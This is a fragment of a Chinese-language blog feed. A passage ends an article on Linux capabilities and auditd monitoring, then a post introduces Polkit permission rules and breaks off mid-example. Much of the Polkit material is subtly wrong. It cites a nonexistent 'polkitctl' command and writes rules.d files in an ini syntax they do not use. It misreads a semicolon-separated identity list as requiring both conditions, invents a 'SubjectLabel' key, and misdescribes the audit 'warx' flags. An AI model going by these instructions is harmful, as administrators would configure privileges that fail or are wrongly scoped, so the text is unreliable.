&lt;li&gt;在修改 capabilities 之前，建议备份原始设置，以便在需要时可以恢复。&lt;&#x2F;li&gt;
&lt;li&gt;考虑到安全性和最小权限原则，只赋予程序完成其任务所必需的 capabilities。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;5-capabilities-yu-chuan-tong-quan-xian-de-chai-yi&quot;&gt;5. Capabilities 与传统权限的差异&lt;&#x2F;h2&gt;
&lt;p&gt;Linux Capabilities 提供了一种与传统权限不同的权限管理方法。传统的权限管理主要依赖于 UID（用户 ID）和 GID（组 ID）的设置，例如，通过 setuid 和 setgid 位来赋予程序 root 权限或所属组的权限。而 Capabilities 提供了一种更为细粒度的权限控制机制，它们之间有以下几个主要差异：&lt;&#x2F;p&gt;
&lt;h3 id=&quot;5-1-quan-xian-de-li-du&quot;&gt;5.1 权限的粒度&lt;&#x2F;h3&gt;
&lt;p&gt;传统的权限管理通常只有两种状态：完全权限和无权限。当你给一个程序设置 setuid 位时，该程序在执行时会以程序文件所有者的权限运行，通常是 root 权限。这意味着程序拥有所有可能的权限，这可能会导致安全风险。相比之下，Capabilities 允许管理员精确地指定程序可以执行哪些特定操作，而不是赋予所有权限。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;5-2-an-quan-xing&quot;&gt;5.2 安全性&lt;&#x2F;h3&gt;
&lt;p&gt;由于 Capabilities 允许更细粒度的权限控制，因此它们通常比传统的权限设置更安全。使用 setuid 的程序可能会成为安全漏洞的目标，因为它们拥有过多的权限，这可能被恶意利用。而 Capabilities 减少了程序可能被滥用的风险，因为它们只提供了必要的权限。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;5-3-quan-xian-de-ji-cheng&quot;&gt;5.3 权限的继承&lt;&#x2F;h3&gt;
&lt;p&gt;传统的权限设置在创建子进程时会被继承。这意味着如果一个具有 setuid 位的程序创建了一个子进程，那么这个子进程也会以 root 权限运行。而 Capabilities 可以更灵活地控制权限的继承。一些 Capabilities 可以被明确设置为不可继承，从而限制了子进程的权限。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;5-4-quan-xian-de-che-xiao&quot;&gt;5.4 权限的撤销&lt;&#x2F;h3&gt;
&lt;p&gt;撤销传统权限通常需要更改文件的所有者或组，或者更改文件的权限位。这可能会影响文件的其他用户或进程。使用 Capabilities，管理员可以更容易地撤销特定的权限，而不影响其他权限或用户。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;5-5-xi-tong-pei-zhi&quot;&gt;5.5 系统配置&lt;&#x2F;h3&gt;
&lt;p&gt;Capabilities 需要内核支持，并且可能受到系统安全配置的限制。例如，一些系统可能配置了安全模块，如 SELinux 或 AppArmor，这些模块可能会进一步限制 Capabilities 的使用。&lt;&#x2F;p&gt;
&lt;p&gt;了解这些差异有助于系统管理员选择最合适的权限管理方法，以确保系统的安全性和合规性。通过使用 Capabilities，管理员可以更精确地控制程序的行为，从而减少安全漏洞的风险。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;6-shi-zhan-an-li-an-quan-fu-yu-cheng-xu-quan-xian&quot;&gt;6. 实战案例：安全赋予程序权限&lt;&#x2F;h2&gt;
&lt;p&gt;在了解了 Linux Capabilities 的基本概念和如何操作之后，我们将通过一个实战案例来展示如何安全地赋予程序权限。这个案例中，我们将使用一个假设的程序 &lt;code&gt;myapp&lt;&#x2F;code&gt;，这个程序需要额外的权限来更改系统上的某些文件的所有权，但不需要完全的 root 权限。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;6-1-shi-zhan-an-li-bei-jing&quot;&gt;6.1 实战案例背景&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;code&gt;myapp&lt;&#x2F;code&gt; 是一个负责管理日志文件的程序，它需要能够更改日志文件的所有权，以便在不同用户之间共享。然而，出于安全考虑，我们不希望给予 &lt;code&gt;myapp&lt;&#x2F;code&gt; 完全的 root 权限。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;6-2-shi-zhan-bu-zou&quot;&gt;6.2 实战步骤&lt;&#x2F;h3&gt;
&lt;p&gt;以下是赋予 &lt;code&gt;myapp&lt;&#x2F;code&gt; 程序更改文件所有权权限的步骤：&lt;&#x2F;p&gt;
&lt;h4 id=&quot;6-2-1-jian-cha-cheng-xu-dang-qian-quan-xian&quot;&gt;6.2.1 检查程序当前权限&lt;&#x2F;h4&gt;
&lt;p&gt;首先，我们需要检查 &lt;code&gt;myapp&lt;&#x2F;code&gt; 程序当前的权限设置。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;getcap &amp;#x2F;path&amp;#x2F;to&amp;#x2F;myapp
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果输出为空，那么 &lt;code&gt;myapp&lt;&#x2F;code&gt; 当前没有任何 capabilities 设置。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;6-2-2-fu-yu-cheng-xu-cap-chown-quan-xian&quot;&gt;6.2.2 赋予程序 CAP_CHOWN 权限&lt;&#x2F;h4&gt;
&lt;p&gt;接下来，我们将使用 &lt;code&gt;setcap&lt;&#x2F;code&gt; 命令赋予 &lt;code&gt;myapp&lt;&#x2F;code&gt; 程序 CAP_CHOWN 权限，这样它就能够更改文件的所有权。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo setcap cap_chown+ep &amp;#x2F;path&amp;#x2F;to&amp;#x2F;myapp
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这条命令会使 &lt;code&gt;myapp&lt;&#x2F;code&gt; 在执行时拥有更改文件所有权的权限。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;6-2-3-yan-zheng-quan-xian-she-zhi&quot;&gt;6.2.3 验证权限设置&lt;&#x2F;h4&gt;
&lt;p&gt;权限设置完成后，我们应该验证这些权限是否已经正确应用。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;getcap &amp;#x2F;path&amp;#x2F;to&amp;#x2F;myapp
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;输出应该显示 &lt;code&gt;cap_chown+ep&lt;&#x2F;code&gt;，表明 &lt;code&gt;myapp&lt;&#x2F;code&gt; 现在具有 CAP_CHOWN 权限。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;6-2-4-ce-shi-cheng-xu-gong-neng&quot;&gt;6.2.4 测试程序功能&lt;&#x2F;h4&gt;
&lt;p&gt;最后，我们应该运行 &lt;code&gt;myapp&lt;&#x2F;code&gt; 并测试其是否能够正确地更改文件所有权。如果程序能够成功执行这一操作，那么我们可以确信权限设置是正确的。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;6-3-zhu-yi-shi-xiang&quot;&gt;6.3 注意事项&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;在赋予程序任何权限之前，务必确保你理解这样做可能带来的安全影响。&lt;&#x2F;li&gt;
&lt;li&gt;只赋予程序完成其任务所必需的权限，遵循最小权限原则。&lt;&#x2F;li&gt;
&lt;li&gt;权限设置后，应该进行彻底的测试，以确保程序能够按预期运行，同时不会引入新的安全风险。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;通过这个实战案例，我们可以看到 Linux Capabilities 如何帮助管理员更安全、更精确地控制程序权限。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;7-jian-kong-yu-diao-shi-capabilities&quot;&gt;7. 监控与调试 Capabilities&lt;&#x2F;h2&gt;
&lt;p&gt;在赋予程序 Capabilities 之后，监控和调试这些权限的设置是非常重要的。这有助于确保程序按照预期运行，同时也可以帮助识别和解决潜在的安全问题。以下是一些监控和调试 Capabilities 的方法和工具。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;7-1-shi-yong-getcap-he-setcap&quot;&gt;7.1 使用 getcap 和 setcap&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;code&gt;getcap&lt;&#x2F;code&gt; 和 &lt;code&gt;setcap&lt;&#x2F;code&gt; 是监控和调试 Capabilities 的基本工具。&lt;code&gt;getcap&lt;&#x2F;code&gt; 用于查看文件的 Capabilities，而 &lt;code&gt;setcap&lt;&#x2F;code&gt; 用于设置或修改这些权限。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 查看程序的capabilities
getcap &amp;#x2F;path&amp;#x2F;to&amp;#x2F;binary

# 修改程序的capabilities进行调试
sudo setcap cap_name+ep &amp;#x2F;path&amp;#x2F;to&amp;#x2F;binary
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在调试过程中，你可能需要多次使用这些命令来验证权限的设置是否正确。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;7-2-shen-ji-ri-zhi&quot;&gt;7.2 审计日志&lt;&#x2F;h3&gt;
&lt;p&gt;Linux 系统提供了审计功能，可以记录系统中所有或特定的权限变更操作。通过配置审计规则，你可以监控对 Capabilities 的更改。&lt;&#x2F;p&gt;
&lt;p&gt;以下是一个开启审计并记录 capabilities 更改的示例：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 开启审计服务
sudo auditctl -w &amp;#x2F;path&amp;#x2F;to&amp;#x2F;binary -p warx -k cap_change

# 查看审计日志
sudo aureport -ak
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这将记录对指定路径下二进制文件的写、属性更改、执行和删除操作，并在审计日志中标记为 &lt;code&gt;cap_change&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;7-3-shi-yong-auditd&quot;&gt;7.3 使用 auditd&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;code&gt;auditd&lt;&#x2F;code&gt; 是 Linux 审计系统的用户空间组件，它收集审计日志并提供了更高级的日志管理功能。通过配置 &lt;code&gt;auditd&lt;&#x2F;code&gt;，你可以更详细地监控 Capabilities 的使用。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 配置auditd规则
echo &amp;#x27;-w &amp;#x2F;path&amp;#x2F;to&amp;#x2F;binary -p warx -k cap_change&amp;#x27; | sudo tee &amp;#x2F;etc&amp;#x2F;audit&amp;#x2F;rules.d&amp;#x2F;capability.rules

# 重启auditd服务以应用新规则
sudo systemctl restart auditd
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;7-4-fen-xi-ri-zhi&quot;&gt;7.4 分析日志&lt;&#x2F;h3&gt;
&lt;p&gt;分析审计日志可以帮助你理解程序是如何使用 Capabilities 的。你可以使用 &lt;code&gt;ausearch&lt;&#x2F;code&gt; 工具来搜索特定的日志条目。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 搜索包含特定关键词的审计日志
sudo ausearch -k cap_change
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;7-5-diao-shi-cheng-xu-xing-wei&quot;&gt;7.5 调试程序行为&lt;&#x2F;h3&gt;
&lt;p&gt;如果你发现程序没有按照预期工作，可能需要调试程序的行为。这通常涉及检查程序的日志输出，使用调试器（如 gdb），或者添加额外的日志打印语句来追踪程序的执行流程。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;7-6-zhu-yi-shi-xiang&quot;&gt;7.6 注意事项&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;监控和调试 Capabilities 时，要确保记录所有相关的活动，以便在出现问题时可以回溯。&lt;&#x2F;li&gt;
&lt;li&gt;审计日志可能会占用大量磁盘空间，因此需要定期清理或归档。&lt;&#x2F;li&gt;
&lt;li&gt;在生产环境中，要谨慎使用审计规则，避免对系统性能造成影响。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;通过这些监控和调试方法，管理员可以确保程序使用 Capabilities 的方式既安全又高效。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;8-zong-jie&quot;&gt;8. 总结&lt;&#x2F;h2&gt;
&lt;p&gt;Linux Capabilities 为系统管理员提供了一种更为安全、细粒度的权限管理方法，它允许精确控制程序可以执行的操作，而不是赋予完全的 root 权限。通过使用 &lt;code&gt;setcap&lt;&#x2F;code&gt; 和 &lt;code&gt;getcap&lt;&#x2F;code&gt; 命令，管理员可以为程序添加或移除特定的 capabilities，从而最小化潜在的攻击面并增强系统安全性。&lt;&#x2F;p&gt;
&lt;p&gt;本文详细介绍了 Linux Capabilities 的概念、如何查看和修改程序的 capabilities，以及如何通过实战案例安全地赋予程序权限。此外，我们还讨论了监控和调试 Capabilities 的方法，这对于确保程序按照预期运行和及时识别潜在的安全问题至关重要。&lt;&#x2F;p&gt;
&lt;p&gt;在使用 Linux Capabilities 时，应始终遵循最小权限原则，只赋予程序完成任务所必需的权限。同时，监控和审计权限的使用对于维护系统安全同样重要。&lt;&#x2F;p&gt;
&lt;p&gt;通过本文的介绍和实践，读者应该能够掌握如何在实际环境中有效地使用 Linux Capabilities，以提升系统的安全性和稳定性。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Linux系统Polkit权限配置入门指南</title>
        <published>2025-02-13T00:00:00+00:00</published>
        <updated>2025-02-13T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/linux系统polkit权限配置入门指南/"/>
        <id>https://vercel.juzhong.asia/obsidian/linux系统polkit权限配置入门指南/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/linux系统polkit权限配置入门指南/">&lt;h1 id=&quot;linuxxi-tong-polkitquan-xian-pei-zhi-ru-men-zhi-nan&quot;&gt;Linux系统Polkit权限配置入门指南&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;1-yin-yan&quot;&gt;1. 引言&lt;&#x2F;h2&gt;
&lt;p&gt;在 Linux 操作系统中，Polkit（PolicyKit）是一个用于控制和管理系统权限的机制。它允许系统管理员为非 root 用户授予执行特定管理任务的权限，而无需将 root 密码泄露给这些用户。在本指南中，我们将介绍如何配置 Polkit 权限，以便在 Linux 系统中安全地分配和管理权限。通过掌握 Polkit，您可以提高系统的安全性，同时为用户提供必要的权限来执行他们的工作。接下来，我们将逐步探讨如何使用 Polkit 进行权限配置。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;2-linux-quan-xian-guan-li-ji-chu&quot;&gt;2. Linux 权限管理基础&lt;&#x2F;h2&gt;
&lt;p&gt;Linux 权限管理是操作系统安全性的核心组成部分，它决定了用户和组对文件和目录的访问权限。在 Linux 中，权限分为三种类型：读（r）、写（w）和执行（x）。这些权限可以分别分配给三种类型的用户：文件所有者（u），所属组（g）和其他用户（o）。&lt;&#x2F;p&gt;
&lt;p&gt;权限可以用数字表示，其中读、写和执行分别有如下的数值：读（4）、写（2）、执行（1）。这些数值可以组合起来表示不同的权限组合，例如，7（4+2+1）代表读、写和执行权限，5（4+1）代表读和执行权限。&lt;&#x2F;p&gt;
&lt;p&gt;以下是如何查看和修改文件权限的基础命令。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-1-cha-kan-wen-jian-quan-xian&quot;&gt;2.1 查看文件权限&lt;&#x2F;h3&gt;
&lt;p&gt;使用 &lt;code&gt;ls -l&lt;&#x2F;code&gt; 命令可以查看文件的详细权限信息。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ls -l &amp;#x2F;path&amp;#x2F;to&amp;#x2F;file
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;2-2-xiu-gai-wen-jian-quan-xian&quot;&gt;2.2 修改文件权限&lt;&#x2F;h3&gt;
&lt;p&gt;使用 &lt;code&gt;chmod&lt;&#x2F;code&gt; 命令可以修改文件权限。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;chmod permission_code &amp;#x2F;path&amp;#x2F;to&amp;#x2F;file
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;或者，可以使用符号表示法来修改权限。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;chmod u+x &amp;#x2F;path&amp;#x2F;to&amp;#x2F;file # 给文件所有者添加执行权限
chmod g-w &amp;#x2F;path&amp;#x2F;to&amp;#x2F;file # 移除所属组的写权限
chmod o=r &amp;#x2F;path&amp;#x2F;to&amp;#x2F;file # 设置其他用户的权限为只读
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;3-polkit-jian-jie&quot;&gt;3. Polkit 简介&lt;&#x2F;h2&gt;
&lt;p&gt;Polkit，原名 PolicyKit，是一个用于在 Linux 系统中控制和管理权限的框架。它允许系统管理员精细地控制哪些用户或用户组可以执行特定的管理任务，而无需将完整的 root 权限授予这些用户。这种机制有效地减少了安全风险，因为它允许用户在需要时仅获得必要的权限。&lt;&#x2F;p&gt;
&lt;p&gt;Polkit 通过定义规则来工作，这些规则指定了哪些用户或用户组可以执行特定的操作。这些规则通常存储在 &lt;code&gt;&#x2F;etc&#x2F;polkit-1&#x2F;rules.d&#x2F;&lt;&#x2F;code&gt; 目录下，并且可以由系统管理员根据需要自定义。&lt;&#x2F;p&gt;
&lt;p&gt;Polkit 的核心组件包括一个守护进程（polkitd），它监听权限检查请求，并决定是否授权。用户通过图形界面或命令行工具与 Polkit 交互，这些工具会向 polkitd 发送请求，以检查或获取权限。&lt;&#x2F;p&gt;
&lt;p&gt;通过使用 Polkit，Linux 系统管理员可以更加灵活和安全地管理权限，确保只有授权用户才能执行敏感的管理任务。接下来，我们将深入了解如何查看现有的 Polkit 规则以及如何创建新的规则来满足特定的权限需求。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;4-polkit-quan-xian-pei-zhi-ji-chu&quot;&gt;4. Polkit 权限配置基础&lt;&#x2F;h2&gt;
&lt;p&gt;Polkit 权限配置是通过编辑规则文件来实现的。这些规则文件定义了权限检查的逻辑，决定了哪些用户或用户组可以执行特定的操作。掌握 Polkit 权限配置的基础，可以帮助系统管理员更有效地控制和管理系统权限。&lt;&#x2F;p&gt;
&lt;p&gt;以下是一些基本的步骤和概念，用于开始配置 Polkit 权限。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;4-1-li-jie-gui-ze-wen-jian&quot;&gt;4.1 理解规则文件&lt;&#x2F;h3&gt;
&lt;p&gt;Polkit 规则文件通常以&lt;code&gt;.rules&lt;&#x2F;code&gt; 为后缀，并放置在 &lt;code&gt;&#x2F;etc&#x2F;polkit-1&#x2F;rules.d&#x2F;&lt;&#x2F;code&gt; 目录下。每个规则文件包含了一系列规则，这些规则由特定的语法构成，决定了权限检查的行为。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;4-2-cha-kan-xian-you-gui-ze&quot;&gt;4.2 查看现有规则&lt;&#x2F;h3&gt;
&lt;p&gt;要查看系统中已经定义的 Polkit 规则，可以使用 &lt;code&gt;polkit&lt;&#x2F;code&gt; 命令行工具。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;polkitctl --show-rules
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;4-3-chuang-jian-zi-ding-yi-gui-ze&quot;&gt;4.3 创建自定义规则&lt;&#x2F;h3&gt;
&lt;p&gt;创建自定义规则需要编写一个新的&lt;code&gt;.rules&lt;&#x2F;code&gt; 文件。以下是一个简单的规则示例，它允许特定用户执行某个操作。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;ini&quot; class=&quot;language-ini &quot;&gt;&lt;code class=&quot;language-ini&quot; data-lang=&quot;ini&quot;&gt;[Allow myuser to run mycommand]
Identity=unix-user:myuser
Action=org.freedesktop.example action
ResultActive=yes
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在这个例子中，&lt;code&gt;myuser&lt;&#x2F;code&gt; 是允许执行操作的用户，&lt;code&gt;org.freedesktop.example action&lt;&#x2F;code&gt; 是操作的 Action ID，&lt;code&gt;ResultActive=yes&lt;&#x2F;code&gt; 表示允许该用户执行这个操作。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;4-4-ying-yong-gui-ze-geng-gai&quot;&gt;4.4 应用规则更改&lt;&#x2F;h3&gt;
&lt;p&gt;创建或修改规则文件后，为了让更改生效，通常需要重启 Polkit 守护进程。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo systemctl restart polkit
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;或者，在某些系统中，您可以简单地重新加载 Polkit 守护进程。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo systemctl reload polkit
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;通过以上步骤，您可以开始配置 Linux 系统中的 Polkit 权限，从而更加精细地控制和管理系统权限。记住，在创建规则时，应确保规则的安全性和正确性，以防止不必要的权限泄露。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;5-chang-jian-polkit-quan-xian-she-zhi-an-li&quot;&gt;5. 常见 Polkit 权限设置案例&lt;&#x2F;h2&gt;
&lt;p&gt;在实践中，系统管理员可能会遇到需要为特定用户或用户组配置 Polkit 权限的情况。以下是一些常见的案例，展示了如何使用 Polkit 规则来实现特定的权限设置。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;5-1-yun-xu-fei-root-yong-hu-gua-zai-usb-she-bei&quot;&gt;5.1 允许非 root 用户挂载 USB 设备&lt;&#x2F;h3&gt;
&lt;p&gt;在某些情况下，可能需要让非 root 用户能够挂载 USB 设备。以下是一个 Polkit 规则示例，允许特定用户挂载和卸载 USB 存储设备。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;ini&quot; class=&quot;language-ini &quot;&gt;&lt;code class=&quot;language-ini&quot; data-lang=&quot;ini&quot;&gt;[Allow user to mount USB devices]
Identity=unix-user:username
Action=org.freedesktop.udisks2.filesystem-mount
ResultActive=yes
ResultAny=yes
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在这个规则中，&lt;code&gt;username&lt;&#x2F;code&gt; 是需要挂载 USB 设备的用户名。&lt;code&gt;org.freedesktop.udisks2.filesystem-mount&lt;&#x2F;code&gt; 是用于挂载文件系统的操作 ID。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;5-2-yun-xu-yong-hu-guan-li-wang-luo-lian-jie&quot;&gt;5.2 允许用户管理网络连接&lt;&#x2F;h3&gt;
&lt;p&gt;如果想要让用户能够管理网络连接，例如添加或删除网络接口，可以创建如下规则：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;ini&quot; class=&quot;language-ini &quot;&gt;&lt;code class=&quot;language-ini&quot; data-lang=&quot;ini&quot;&gt;[Allow user to configure network]
Identity=unix-user:username
Action=org.freedesktop.networkmanager.networkmanager.modify-system
ResultActive=yes
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在这个例子中，&lt;code&gt;username&lt;&#x2F;code&gt; 是需要管理网络连接的用户名。&lt;code&gt;org.freedesktop.networkmanager.networkmanager.modify-system&lt;&#x2F;code&gt; 是允许修改系统网络设置的 Action ID。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;5-3-yun-xu-yong-hu-an-zhuang-ruan-jian-bao&quot;&gt;5.3 允许用户安装软件包&lt;&#x2F;h3&gt;
&lt;p&gt;为了允许用户安装软件包，可以设置相应的 Polkit 规则，如下所示：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;ini&quot; class=&quot;language-ini &quot;&gt;&lt;code class=&quot;language-ini&quot; data-lang=&quot;ini&quot;&gt;[Allow user to install packages]
Identity=unix-user:username
Action=org.freedesktop.packagekit.package-install
ResultActive=yes
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这里，&lt;code&gt;username&lt;&#x2F;code&gt; 是需要安装软件包的用户名。&lt;code&gt;org.freedesktop.packagekit.package-install&lt;&#x2F;code&gt; 是用于安装软件包的操作 ID。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;5-4-xian-zhi-yong-hu-quan-xian&quot;&gt;5.4 限制用户权限&lt;&#x2F;h3&gt;
&lt;p&gt;有时候，可能需要限制用户的某些权限，例如不允许用户关闭系统。以下是一个示例规则，它拒绝了用户执行关机操作：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;ini&quot; class=&quot;language-ini &quot;&gt;&lt;code class=&quot;language-ini&quot; data-lang=&quot;ini&quot;&gt;[Deny user to shutdown system]
Identity=unix-user:username
Action=org.freedesktop.login1.power-off
ResultActive=no
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在这个规则中，&lt;code&gt;username&lt;&#x2F;code&gt; 是不允许执行关机操作的用户名。&lt;code&gt;org.freedesktop.login1.power-off&lt;&#x2F;code&gt; 是执行关机操作的 Action ID。&lt;&#x2F;p&gt;
&lt;p&gt;在配置这些规则时，请确保您理解每条规则的含义，并仔细考虑安全性和权限管理的最佳实践。错误的配置可能会导致不必要的权限泄露或系统不稳定。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;6-polkit-quan-xian-pei-zhi-de-gao-ji-ying-yong&quot;&gt;6. Polkit 权限配置的高级应用&lt;&#x2F;h2&gt;
&lt;p&gt;在掌握了 Polkit 权限配置的基础之后，系统管理员可以进一步探索更高级的权限管理技术。高级应用包括创建复杂的权限规则，使用条件语句，以及为不同的系统环境定制权限策略。&lt;&#x2F;p&gt;
&lt;p&gt;以下是一些高级应用的案例和概念，可以帮助您更好地利用 Polkit 来管理 Linux 系统的权限。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;6-1-shi-yong-tiao-jian-yu-ju&quot;&gt;6.1 使用条件语句&lt;&#x2F;h3&gt;
&lt;p&gt;Polkit 规则允许使用条件语句来定义更复杂的权限逻辑。例如，您可以根据当前系统状态或用户组成员身份来允许或拒绝操作。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;ini&quot; class=&quot;language-ini &quot;&gt;&lt;code class=&quot;language-ini&quot; data-lang=&quot;ini&quot;&gt;[Allow user to shutdown if member of admin group]
Identity=unix-user:username;unix-group:admin
Action=org.freedesktop.login1.power-off
ResultActive=yes
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在这个规则中，只有当 &lt;code&gt;username&lt;&#x2F;code&gt; 同时是 &lt;code&gt;admin&lt;&#x2F;code&gt; 组的成员时，才允许执行关机操作。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;6-2-pei-zhi-ji-cha-ji-yong-she-bei-quan-xian&quot;&gt;6.2 配置即插即用设备权限&lt;&#x2F;h3&gt;
&lt;p&gt;对于即插即用设备，如 USB 打印机或摄像头，可以使用 Polkit 来指定哪些用户可以访问这些设备。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;ini&quot; class=&quot;language-ini &quot;&gt;&lt;code class=&quot;language-ini&quot; data-lang=&quot;ini&quot;&gt;[Allow user to access USB camera]
Identity=unix-user:username
Action=org.freedesktop.udev.control
ResultActive=yes
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在这个例子中，&lt;code&gt;username&lt;&#x2F;code&gt; 被授予访问 USB 摄像头的权限。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;6-3-zi-ding-yi-quan-xian-jian-cha-dui-hua-kuang&quot;&gt;6.3 自定义权限检查对话框&lt;&#x2F;h3&gt;
&lt;p&gt;在一些情况下，您可能希望自定义权限检查时显示的对话框。这可以通过创建一个自定义的 Polkit 代理来实现，该代理可以提供自定义的用户界面。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;6-4-shi-yong-wen-jian-xi-tong-biao-qian&quot;&gt;6.4 使用文件系统标签&lt;&#x2F;h3&gt;
&lt;p&gt;对于使用安全增强型 Linux（SELinux）的系统，可以在 Polkit 规则中使用文件系统标签来控制对特定文件的访问。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;ini&quot; class=&quot;language-ini &quot;&gt;&lt;code class=&quot;language-ini&quot; data-lang=&quot;ini&quot;&gt;[Allow user to edit configuration file]
Identity=unix-user:username
Action=org.freedesktop.policykit.exec
ResultActive=yes
SubjectLabel=system_u:object_r:config_t:s0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
